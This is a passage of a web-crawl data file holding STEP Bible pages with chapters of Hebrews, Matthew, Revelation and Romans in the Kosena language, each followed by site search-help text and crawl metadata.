naaémbo arunkó aamoí ínín-imayaa éna póna taairaꞋó puwíníntavena íma aꞋáo séna taairaꞋó púwón-antavesamo tigaeyávésa kwéomba íma imáyáa éna póna Áánútu kawáá uráiwai ayáánúrapaꞋa asirayán-áyámpáꞋá maraꞋá máyáiye.\n3 ÍsuntaveꞋa imáyáa oró. marapáꞋó máyonkaꞋo sáwí-kwaasi sáwíꞋo umánkávaꞋo íyúwanamo asiramáímo maimaénamo iráimba imáyáa éꞋa íma tívón-káínaꞋa íma ivátuweꞋa asiramái máéro. 4 sáwí-yantaataveꞋa kárákwimaeꞋa kwéiyeꞋa asiramái máyáampinkemba íma tínkamowaꞋa pukáawe. 5 Áánútu asiramátinkanintavena séna kesiyáámúmbaare kesáánimbaare ísáaro súwana agaimaréna siráin-aimba imáyáa oró. maarán-áímbá séna\n- Ísóigo arumbá tímakaiwai arupí kwéumatinkena kesáánimba owémó kwésiwaiyavena kesáái isáígwáe séna kwétinkamiye. mindáyavai kesááninkoo Ísóigo arupí umánkáimba íma úwoisan-tantaaꞋan iyé-ímáyáá éma sáwíꞋo uráanda asiramái simámakaimba enarunkó íma sáwíꞋa íno\nmirám-baaran-oro siráin-kwasai.12 miráumai kárákwiyeꞋa tiyáántán-kwimai méꞋa 13 arupí-amba imáyáa umái kwáráaro. keinárawapinkemba évakarawai tuwánésa sáwí-amba kwáráavo séꞋa kaweꞋá umái méꞋa arupí-amba kwáráaro.\n14 tiyáántán-kwimai amáparawaiye paru umái máéro. ímo kaweré suꞋmai umáímo máyáawai Ísóigomba íma awánanaaovo kaweré suꞋmai umái máéro. 15 keinárawapinkemba évakarawai Áánútu úwoi kwétuwaꞋnaa-iwaimba auwáúnavo séꞋa kárákwiyoro. keinárawapinkemba évakarawai tirunkó sáwíꞋa índarakemba misáwí-ímáyááó amápa-kwaasivimba kóyáwé iváínivo kárákwiyoro. 16 sáwí-yantaataveꞋa tirááíyaveꞋa ováínivo kárákwiyoro. naaóváꞋá moóráwai áwíꞋa Íso Áánútuntavena íma imáyáa éna sáwíꞋo uráintemba keinárawapinkemba évakarawai mirá ováínivo kárákwiyoro. kwemá Áánútuntavena íma imáyáa kwéuwaimba moórá-tawai áái kwéankowana ávákontavena séna ená toómbá nasímínana mintónkóná anondá emá aivar-íyámpóí aúrénana kenkáísivowa kawe-kwááróꞋá tumánkaniye séna 17 ména naaémba moórá-imayaa éna kesivo kawe-kwááróꞋá tumásinkainkwae séna anón-iviꞋa tówana avowámá ávákomba kawe-kwááróꞋá tumánkena póna kwembá íma tumánkowana ááémo sáwíꞋo uráin-tantaako avowámá kawe-kwááróꞋá tumánkanin-amba ítáraiye. keinárawapinkemba évakarawai mirá-sáwíꞋá ováínivo kárákwiyoro.\n18 naaóváꞋá Ísareri-kwaasi Sáínai-omar-andampaꞋa komáyówana anón-irama kwégena tinepáí kwégowasa uwaná anómba túnkuwana anón-unda torówana 19 uwíremba anónkaꞋa aúꞋmai iyúwana aaigówé suꞋmai séna kwaásiye póíye maanómákáꞋó tíyaꞋo éꞋa óntandei tínkamiyasa puwónááowe súwasa mináímbó ísón-kwaasi táátavesa ésa sésa ókwaraꞋa moórá-aimba íma sínata isánáe sésa táátavesa ésa 21 awánon-tantaaꞋa anómba táátavesa uwaná Mósesi séna sááte kéna siyántámbá taráiye siráiye. naaóváꞋá Ísareri-kwaasi mirán-tántááꞋá koawánaraavo keinárawaꞋa mirán-tántááꞋá íma kogwéawanaawe.\n22 íma mirá éꞋa ÁánútunopaꞋo tiráamba maarááníꞋa kwéowe. moórá-omako áwíꞋa Sáíyono-omapaꞋa téꞋa Áánútu asirayánkwáráwáíná naaópaꞋa téꞋa kwíyómpaꞋa aúná-naoꞋa Yérúsaremu-naokaan-daopaꞋa téꞋa kwíyómpaken-kwayoꞋnarawaꞋo sáwívaꞋo torupamáímo mésamo Áánútu áwíꞋo mósá marésamo aamoí kwéopaꞋa téꞋa 23 aivaꞋó ÁánútunopaꞋo tésamo kwená kwaási-iꞋa umái máyáapaꞋa tiráawe. kwíyómpaꞋa aúváívimba miwí túwíꞋa agaimakáiye. Áánútu amáparawai miwímó máyáawaina ááintavena tísaa íníwainopaꞋa téꞋa marapáꞋó arupí umáímo máyówanamo Áánútumo kasenkuíꞋo umátínkaraiwai kwíyómpaꞋa miwí timantómbó máyáapaꞋa téꞋa 24 ÍsunopaꞋa Áánútu aúná-aimbo simáímo tarúmakaimba kwéagaraasinkaiwainopaꞋa tiráawe. naaóváꞋá Kááini ávákomba Épeomba tuvuwúwana puwúwana kwená naaemá kumúwana mindáyavena anondá sáwí-meyamba amínkwáe siráimbanivo Ísuna naaemó kunkáimba kwaási kaweꞋá kwéumatinkaimba kwenópaꞋa tiráawe.\n25 Áánútu keinárawatavenamo aaimó sínda-aimba íma araaiséꞋa kárákwiyoro. naaóváꞋá Mósesi marapáꞋá ména Áánútun-aai simátimuwasa arááíraawai sáwí-meyamba mairáawe. miráumaimo kwíyómpakewaimo simátiminda-aintaamo araaisénááowai áraiꞋa sáwí-meyamba mayánááovo kárákwiyoro. 26 naaóváꞋá Áánútu Sáínai-omapinkemba aaí súwana anóm-barima taráimbanivo ívéꞋa asiramái séna moórá-kanaa tínímba ókwaraꞋa anóm-barima taaó senaná kwíyónkowe maraówé anóm-barima táníye siráiye. 27 ókwaraꞋa anóm-barima taaó sénaumnemo siráin-ainkona ááimba maarán-iye. marímo tánín-tantaaꞋa naaóváꞋó tarórurain-tantaaꞋa póna ánásanivo maríma ímo kanaán-umai táínda-yantaaꞋa kwaíkwaiꞋa íníye.\n28 miráumai marímo tánímba Áánútu kentááráꞋá kárákwiraimba póna íya siyuwánímba póta sirunkó kaweꞋá ínata aamoí éta kwentávéta éta kwenáwíꞋa mósá maréta kwená imáyáa mósá máráandayavenaya aamoí íníye. 29 kankambó aúꞋmaimo iravímbó agaisúwáantemba Áánútu mirá ínata póta kwená imáyáa mósá maréta ménaumne.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Heb.12","date":"2018-04-24T12:30:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946688.88\/warc\/CC-MAIN-20180424115900-20180424135900-00559.warc.gz","language":"kze","language_score":0.9999887943,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999887943267822}","num_words":712,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.121,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Matthew 22\nanón-tanomba kauráin-kwasai.1 moórágwaraꞋa Ísu aaí simátimindayavena kwántámai-aimba simátimena séna 2 Áánútu kwená kwaásimo kawááin-aimba maarán-áímbán-iye. moóráwai kárákwiraiwai ááninko aaraí mayáníntavena anón-tanomba kauvónáe séna 3 sáwíva-kwaasi tááyena séna aáno tanómba tamandaaró séna ména tanómba kaumaréna kwená mayáí-kwáásí tiꞋmaréna séna tamandaaró kosimátíméro sisasá mirá owasá ivátuwesa íma tewaná 4 óꞋomba mayáí-kwáásí tiꞋmaréna séna tááyaraundawai kosimátimeꞋa séꞋa toómbó naí kwétoꞋmayaa éꞋa purumakané naanté-póíyé tuvúꞋmái kwégauvumpo tamandaaró. kesááninko aaraí mayáindaraꞋa tamandaaró. kosimátíméro séna tiꞋmáráísasa mirá kosewasá 5 ivátuwesa íma tésa moóráwai kwená kígauvaꞋa kówisana moóráwai óntambo kwémayaim-bayaivaꞋa kówisasa 6 évakarawai kárákwiraiwaina mayáí-kwáásíyómbá tátoꞋmai tínkamowasa púwówana 7 kárákwiraiwai áwááꞋa séna kwená i-kwáásí tiꞋmáráísasa miwí tínkamowasa púwówasa miwítí naampimpáꞋá iramá agagaowaná kágwisana 8 kárákwiraiwai kwená mayáí-kwáásíyávéna séna tanómba kauvéꞋa tááyaraundawai kesááninkona tanómba tamandaígómbá uwóvíꞋan-owe. 9 aantááꞋo kwaásimo torupamáímo máyáapaꞋa kotivakáá-umai óꞋon-oꞋon-kwaasi tuwánéꞋa simátimiyasa tanómba tamandaaró sisasá 10 kwená mayáí-kwáásí isésa aampaꞋá kwénaaesa kwaási tivakáá-umai tuwánésa sáwí-kwaasiye kawe-kwáásíyé torupamátinkesa tíꞋmaesa tésa toómbó naí-náúmpáꞋá sisipáá uráawe.\n11 Yútaa-kwaasi aaraimó máyáankaꞋo ombá tanómbo nánáesamo ten-kwáásí ontaráꞋó tewasá mayáí-kwáásí kawer-únánkwátói tíméwasa urésa mindáúmpáꞋá umésa toómbá kwénaavo minúnánkwátóimo ímo urésamo ésa íma toómbá umandánááowe. toómbó naí-náúmpáꞋá sisipáá owaná kárákwiraiwai tuwánaimba moóráwai íma kawer-únánkwátói uréna máyáísana awánéna 12 séna nóra éwa kawer-únánkwátói íma uréwa iráano sisaná íma aaí sisaná 13 kárákwiraiwai kwená mayáí-kwáásíyávéna simátimena séna aíyayaankaꞋa asááumai máápaꞋa túnkwi-ayampaꞋa aúwéwana iviꞋá téna áíꞋo índayavena áwááyaamba akévundaniye siráiye Ísu siráiye.\n14 Ísu mináímbá simásuwena séna Áánútu sáwíva-kwaasi tááyain-kwaasivinkemba évakarawaiye suꞋmai kwená kwaási-iꞋa kwéumatinkaiye siráiye.\ntáákísi-aintavesa áísaa uráan-kwasai.15 Ísu súwasa ámáán-kawaa-kwaasi máápaꞋa kumbésa keáímbá sésa nóran-ainta áísaa onanayá sáwí-aimbo sínata aaivintá mayankánaumno sésa 16 miwí tínaaembo kwárón-kwaasiye Éróti amááraawiye tiꞋmárówasa ÍsunopaꞋa tésa sésa anóndakoo árai-kwaasi po Áánútuna aambó kwáráan-aimba arupí umái kwésimatimendaya ísaraumne. kwaási táároi íma inkaisé anón-kwaasiye úwoi-kwaasiye táároi íma inkaisé tirumbá airáꞋmái-aimba íma séma arupí umái kwésimatimendaya ísaraumne. 17 simáménda-ainta isaaó. kanaarátááwá táákísi-ontamba Árómáani-kamaani-kwaasiya timénaum. íya timénaumno. timénaundaya Yútaa-kwaasiya kentáásí ámáámba araaisénaundayaꞋiyompo nóran-imayaamo émo e simásimiyo suwaná 18 Ísu miwí tááma iséna imáyáa éna arumpimbá séna Árómáani-kamaani-kwaasi táákísi-ontamba tíméromo senasamó ésa Yútaa-kwaasi áwááꞋa sésa Árómáani-kamaani-kwaasi sáwíꞋo umásínkáawaiya óntamba tíméro kwésiye sénááowe séna Árómáani-kamaani-kwaasi táákísi-ontamba íma tíméromo senasamó ésa Árómáani-kamaani-kwaasi áwááꞋa sésa táákísi-ontamba íma tíméro kwésiye sésa aaivimbá maisinkánááowe-imayaa éna áísaa un-kwáásíyávéna séna kaumbo-káér-ainkwara-kwaasi póꞋa kentávéꞋa sáwí-aimbo síndawe séꞋa kwésisaa-owe. 19 táákísi-ontamba moórá maimái máagaraasinkaaro súwasa maimái máagaraarankowana 20 séna nááwa óikaana uráinkara áwíꞋa kwáyáiyo súwasa 21 miwí sésa Árómáani-kamaani-kawaanako óikaamba isaná áwíꞋa kwáyáiye suwaná Ísu séna Árómáani-kamaani-kawaanakondei kwembá áméro. Áánútundei Áánútumba áméro súwasa 22 mináímbá ísówana tááꞋa kówasa íma aaí sésa auwésa kuráawe.\npukémpinkemba usásinanaaon-kwasai.23 kuwasá Sátúsi-monor-aimbo sun-kwáásí púwómpinkemba íma usásinanaaowe kwésen-kwaasi pósa mitáwai ÍsunopaꞋa tésa 24 sésa anóndakoo naaóváꞋá Mósesi séna moóráwai aaraí maimakéna iyámpói íma ankéna púwísana ávákoma maimakéna awaaóná anondáwe séna iyámpói ankáníye siráiye. 25 moórá-aimba isaaó. moórá-tawai maankáꞋá avakaeté-avarawainonda mésa tuwaaómá aaraí maimakéna iyámpói íma ankéna púwísana 26 kwenánaaenkewai kwareꞋá maimakéna iyámpói íma ankéna púwísana kwenánaaenkewai kwareꞋá maimakéna iyámpói íma ankéna púwísana mirá eémesa avakaeté-kwaasi putásaawana 27 minínímbá naaémba pukáiye simásuwesa 28 Ísumba áísaa esa sésa mirámó ombá kwaásimo puwíyampinkembo usásinaiya-tawai minínímbá avakaeté-kwaasi tuwainímbá póna nááwa mayáníyo suwaná 29 Ísu séna Áánútun-aai aúváívimba agaimakón-aimba íma kaweꞋá umái iséꞋa Áánútuna asirayámbá íma awánéꞋa póꞋa miráumai sáwísawaa-aimba kwésewe. 30 pukémpinkemba usásinesa kwíyómpaꞋa uménaaon-kanaa aaraí íma mayáíyasa kwaaí íma mayáíyasa ésa Áánútuna kwayóꞋnárawaꞋo kwíyómpaꞋo máéwaimo ontembá minínínákwáꞋá miráumai aaraí íma mayáíyasa kwaaí íma mayáíyasa ónááowe. 31 kwaási pukémpinkemba usásinanaaomba simátíménda ísáaro. Áánútu simátímakomba aúváívimba agaimakón-aimba awánaraawe. 32 Áánútu Mósesintavena maarán-áímbá séna Áánútu úne. enaíkwáꞋná Ááváramune Áísákaane Yákópone miwítí Áánútu úne siráiye. Áánútu mináímbá siráimba minkáúmbó-kwáásí áꞋa púwúwasa utamátínkaraambanivo mináímbá siráimba pósa miwí úwoi máyáawe Ísu súwasa 33 kwesémo máyón-kwaasi isésa táátavesa ésa sésa ááin-kwasai kwésimasimiye siráawe.\naivar-ámáánkóná kwaasái.34 suwaná Ísun-aaigo Sátúsi-monor-aimbo sun-kwáásí táái usáyaaitomba ámáán-kawaa-kwaasi isésa torupamái mésa 35 miwívínkémbá moóráwai ámáámba kaweꞋá umái ísarowai Ísumo sáwí-aimbo sínda isánáe séna áísaa ena séna 36 anóndakoo Áánútuna ámáámpinkemba nóran-amaana aivar-ámáámbán-iyo súwana 37 Ísu séna Áánútun-aai aúváívimba agaimaréna séna\n- ÁánútumpaꞋa kentí Ísóigomba kentiruné\n- kentí imáyáawe kentimané áméro\n- kesáváí-ímáyáámó ontembá kentí kwaásiti imáyáagwaraꞋa oró\nÁánútumo usásinankaiwai Káráísitina kwaasái.41 súwasa ámáán-kawaa-kwaasi torupamái máyówana Ísu miwí tísaa ena séna 42 Áánútumo usásinankaiwai Káráísiti nááwan-andaraken-kwaasiyaꞋiyo súwasa kentáásíkwáꞋná Tévítin-andaraken-kwaasiman-iye suwaná 43 Ísu séna naaóváꞋá Áánútun-amanko Tévítimba imáyáa amúwana Tévíti Káráísitintavena séna kesí Ísóigoman-iye siráimba 44 monor-ímá agaimakón-auvai-kwandaaivimba Tévíti agaimarena séna\n- kesí Ísóigonatavena Áánútu séna kesiyáánúrapaꞋa asirayán-áyámpáꞋá maraꞋá ménaꞋa ená namuro-kwáásí usáyaaitaanasa miwí ánásanaaowe\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mat.22","date":"2018-04-24T01:11:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946314.70\/warc\/CC-MAIN-20180424002843-20180424022843-00019.warc.gz","language":"kze","language_score":0.9999859333,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.999985933303833}","num_words":823,"character_repetition_ratio":0.054,"word_repetition_ratio":0.007,"special_characters_ratio":0.156,"stopwords_ratio":0.165,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Revelation of John 16\nÁánútu áwááꞋa tíkain-kwasai.1 minkákémbá isááwánda monoꞋ-náúmpákémbá moóráwai minávákáéténárawatavena anónkaꞋa séna avakaeté-taavepinkemba Áánútu áwááꞋo tíyín-tantaaꞋa marapáꞋá ayáúsuwaaro súwana 2 minávákáéténárawapinkemba aivakéwáí kwená táávepinkemba marapáꞋá ayáúsuwowasa anón-avaa-kwankona aúvái tineꞋá agaimakésa kwenáúwawakaaniꞋo úmárówaina imáyáa mósá makáawaitopaꞋa anón-karevutomba túwawaapimpaꞋa kówana títe uráiye.\n3 úwana kwenánaaembo máyowai kwená táávepinkemba uwí-nómpáꞋá ayáúsuwowana uwí-nónkó púwín-kwaasigona naaeráámbá úwana uwí-nómpínkén-kwámbá putásaraiye.\n4 putásowana minkáéꞋnárai tínaaembo máyowai kwená táávepinkemba nonayumpinkáꞋá ayáúsuwowana naae-nómbá aúkúwaꞋa 5 minkákémbá isááwánda kwíyómpaken-kwayoꞋnaꞋa nonkáꞋá kárákwirowai séna\n- emá kawer-úramba umái máyaandawai aivaꞋá mé ívékwaraꞋa máyaandawai misáwí-méyámbó tímakaanda kaweꞋá umái arupí uráane.\n10 íma suwaná minéíyáíndárau tínaaembo máyowai kwená táávepinkemba anón-avaa-kwanko kwaásiraꞋa kawáá urópaꞋa ayáúsuwowana túnkuwasa kwemá kawáá urówai tuní-áyámpáꞋá mésa títe kwéuwasa kwááꞋa kwétesa timááví túwááyaandei kwéunkaresa 11 títe kwéuwana karevúꞋa kwégontavai Áánútumba kwíyómpakewaimba simái sáwíꞋa umánkómbanivo íma sáwí-mayai tuwésa kwenópaꞋa tiráawe.\n12 íma tuwaná minéváꞋááséínárawa tínaaembo máyowai kwená táávepinkemba anón-donko áwíꞋa Yúvérétísi-nonkaꞋa ayáúsuwowana mindómbá káꞋnáguwasa aaváúmó usón-ayampaꞋ-marapimpaꞋa kawáá urówaiti aambá kwíyúntavena mindómbá kaꞋnáguraiye.\n13 mindómbá káꞋnáguwaꞋa awánaawanda arááínkó óipinkemba awáímá túwana anón-avaa-kwanko óipinkemba awáímá túwana kampar-áímbó simátímakowai óipinkemba awáímá túwasa minkáúmbó-áwáígó tirumpimbá kaumbo-táráváá-kwámbá mésa óꞋon-oꞋom-bayai ímo awánarom-bayai kwémaesa Áánútuwemo ááiꞋo tíyénesa amápaꞋ-maravaꞋa kwénaaesa kawáá-kwáásí tíꞋmaesa Áánútu amápar-asirayamba tokáiwaina anón-kanaama ááiꞋo tíyénesa tiráawe. 15 kemá Yóni simátimeꞋa séꞋa Ísu séna umóyán-kwáásímó timbó ímo ísaraawanamo tintembá íma ísarenkaꞋa kúmónda simuꞋmarésa unáánkwátói úmaresa máyaiyawai íma unáánkwátói-iyaaintavesa tigaemá ónááowe Ísu siráiye kemá Yóni súne. awánaawaanda 16 minkákémbá kawáá-kwáásí tíꞋmaesa moórá-ayampaꞋa máúpaꞋa Yútaa-kwaasi tááivinkemba Ípíru-aimpinkemba Áámágétoni-maravare kwésesa torupamái méraawe.\n17 máyówana mináváꞋmóráénárawa tínaaembo máyowai kwená táávepinkemba úndámo torópaꞋa ayáúsuwowana moóráwai monoꞋ-náúmpáꞋá kawááin-avarakemba anónkaꞋa séna amápaꞋ-mayai ánásagwiye súwana 18 kwíyónaai kwésuwana awairái kwésuwana tawáomba kwéuwana anóm-barima téna marapáꞋá kwaási máyónkakene ívékwaraꞋo máyáankare mirám-bárímá íma kwétena 19 anón-daopaꞋa kaumboráꞋá maramá kítíraaꞋa uréna tawákaaꞋa úwana amápaꞋ-maravaꞋa anón-daopimpaꞋa tawisínaawisi úwana Áánútu Pépíróni-anon-daopaken-kwaasi sáwíꞋa umbá Áánútu imáyáa éna áwááꞋa tiyéna miwítí sáwí-meyamba anómba timúwana 20 nonavuvumpaꞋ-márámá amápaꞋa nawíkasuwowana omátomba arúwáásé umágúwana 21 kwíyómpakemba anón-umbai tain-óntánkáámbá kaaíyaramba kuména kwaási tínkamuwasa Áánútumba simái sáwíꞋa umánkaraawe. anón-kaaiyaramba anómba sáwí-meyamba timúntavesa Áánútumba simái sáwíꞋa umánkaraawe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Rev.16","date":"2018-04-22T10:38:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945584.75\/warc\/CC-MAIN-20180422100104-20180422120104-00213.warc.gz","language":"kze","language_score":0.9998786449,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 0.9998786449432373}","num_words":466,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romans 7\nÁánútun-amanko agaráásínkarain-anta kwégwaraunda-kwasai.1 kesí kwaásiyono. amáparawai ámáán-aimba ísaraamba póꞋa simátíménda ísáaro. úwoimo máyáankaꞋa ámáán-ainko kárákwiraimba póna puwíyamba mináínkó íma kárákwiyiniye. 2 ámáánkomo siráintemba aarakwáꞋó ombá awaikómó aúvamaimo máyáinkaꞋa awainínkó kwesé tarúmai máyáísana awaikómó púwísanamo imbá tarúmaimo máyaayamba kwéanasaiye. 3 awaikómó máyáinkaꞋa aaraigómó óꞋon-kwaasigoe námae kwénaaisanamo imbá sáwí-inimban-iye kwésevo awaikómó puwínanamo éna ámáánko siráintemba óꞋon-kwaasimo mayánímbo éna kanaán-iye.\n4 kesí kwaásiyono. miráumai keinárawatavenawe séna Ísu Káráísiti pukáimba Áánútumo Mósesimbo simámakain-amaamba imáyáa éꞋa Ísu Káráísitiye tarúmaimo máyáantaveꞋa pukáaraꞋnaraambo umáímo máyáamba minámáánkó íma tátokaivo Ísu Káráísitiye tarúmai máyáawe. Áánútu Ísu Káráísitimba pukáimpinkemba usásinankaraiwai Ísundei-iꞋa umái méꞋa póꞋa Áánútuna mayáí kwémayaawe. 5 ááéma sáwí-imayaayaveta sirááíyavetaamo uráundarata íma mirán-oro siráin-amaamba iséta imáyáa éta ivátuweta sáwí-imayaayaveta sirááíyaveta éta sáwíꞋa éta puwónaunda-amba kwaréta 6 miráyá uráunda ívéꞋa Áánútu sáwí-imayaago tátokaimpinkenta iyásínkáísanaya Áánútumo Mósesimbo simámakain-amaanko íma tátokaisata ááéraan-amba Mósesimo agaimakáin-amaankona aambá íma kwaréta aúná-amba Áánútun-amanko agaráásínkarain-anta kwégwaraumne.\nÁánútuna ámáámbo ímo kwáyáinkakai sáwí-mayaigona ááimba íma isáúsino siráin-kwasai.7 mináímbó imáyáa éꞋa simátíménda ísáaro. Áánútumo Mósesimbo simámakain-amaantaveꞋa sáwí-amaamban-iye íma seró. minámáán-áímbó ímo kwáyáinkakai sáwí-mayaigona ááimba íma isáúsino. túran-anda íma oró. minámáánkómó ímo mirá siráinkakai súran-andamo úndayaveꞋa sáwíꞋa kwéune íma súsino. 8 minámáánkó séna túran-anda íma oró siráimba kempímbá sáwí-imayaa kwáyáimba póꞋa minámáámbá araaisénáe séꞋa súran-anda ávááraumai uráumne. minámáánkómó ímo kwáyáinkakai sáwíꞋo kwéunda íma imáyáa éꞋa sáwíꞋa kwéune súsino. 9 ámáánko íma mirá oró siráimba íma iséꞋa kaweꞋá umái máyaumne-imayaa éꞋa méꞋa naaémba minámáámbá ísaraunda araaisénáe séꞋa arááíraunda 10 mindá puwónaundawai úne. minámáámbó kwakáundarakai kaweꞋá umái máyausino. minámáámbá arááíraundawai póꞋa puwónaundawai úne-aimba ísaraumne. 11 minámáánkó séna íma mirá oró siráimba kempímbá sáwí-imayaago kwéna póna kampaꞋá simásiyuwaisaꞋa mináímbá araaisénáe séꞋa arááíraunda póꞋa puwónaundawai úne.\n12 miráumai Áánútumo Mósesimbo simámakain-amaan-aimba íma mirá oró-áímbá Áánútun-aai arupí-aimba kawer-áímbán-iye. 13 minkáwér-áínkó íma puwónaundaiꞋa umásínkaraivo kesí sáwí-imayaago puwónaundaiꞋa umásínkaraiye. sáwí-imayaayaveꞋa siráái kwétaimba póꞋa minámáámbó araaisénáe séꞋo arááíraunda puwónaundawai éꞋa kesí sáwí-mayaigona ááimba ávááraumai sáwíꞋa úwaꞋa awánaraumne. minámáánkó séna íma sáwíꞋa oró siráimba póꞋa kemó sáwíꞋo uráunda kesí sáwí-imayaago anómba sáwíꞋa úwaꞋa awánaraumne.\nsáwíꞋo kwéundawaiya tátokain-kwasai.14 ámáámba Áánútumpakemba kunkáivo kemá marapákén-kwáásí únana sáwíꞋo kwéundawai tátokaisaꞋa minímáyáágóná mayáí kwémayaumne. 15 kaweꞋó úndayavena kwésinkaisaꞋa mirá ónáe súndanivo íma mirá kwéune. sáwíꞋo úndayavena íma kwésinkaisaꞋa íma mirá ónáe súndanivo mirá kwéune. mirámó kwéunda íma kawer-ímáyáá kwéune. 16 íma sáwíꞋa ónáe súndanivo mirá-sáwíꞋó kwéundayaveꞋa séꞋa Áánútu siráin-amaamba kawer-ámáámbán-iye kwésune. 17 sáwíꞋo kwéunda íma kemá mirá kwéumpo sáwí-imayaago kempímbá kwáyáísaꞋa sáwíꞋa kwéune. 18 marapá-kwáásí únda kanaán-umaimo kaweꞋó únda kempímbá íma kwáyáísaꞋa awánaraumne. kaweꞋó úndayavena kwésinkaisaꞋa íma kanaán-umai kaweꞋá kwéune. 19 kaweꞋá ónáe séꞋa úndanivo íma mirá éꞋa íma sáwíꞋa ónáe séꞋa úndanivo úwoi sáwíꞋa kwéune. 20 íma sáwíꞋa ónáe súndanivo mirá-sáwíꞋá kwéunda íma kemá mirá kwéumpo sáwí-imayaago kempímbá kwáyáísaꞋa sáwíꞋa kwéune.\n21 maarán-áínkóná ááimba kwáyáiye. kaweꞋá ónáe séꞋa úndanivo sáwí-imayaago tavisímae kwéiyisaꞋa 22 kesirumpimbá Áánútuna ámáántaveꞋa aamoí kwéundanivo 23 moórá-ainkona ááimba kempímbá kwáyáísana sáwíꞋo ónáe súndawai kembá tavisisaná Áánútuna ámáámba kawer-ámáámbá póꞋa kwaránáe súndawai tavisisaná sáwíꞋo ónáe súndawai tavisimái tátokaiye. 24 eéséꞋá kwéunana sirunkó sáwíꞋa kwéisaꞋa máyaundayaveꞋa séꞋa sáwíꞋa kwéeꞋa puwónaundaiꞋa kwéundavinkemba nááwa siráníyono kwésunana 25 Ísóigo Ísu Káráísiti síráísaꞋa ÁánútuntaveꞋa súwi kwésune.\nmiráumai kesirumpinkén-ímáyáá kwéeꞋa séꞋa Áánútuna ámáámba kwaránáe súndanivo kesúgoma sáwí-imayaavinkemba sáwíꞋa kwéiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 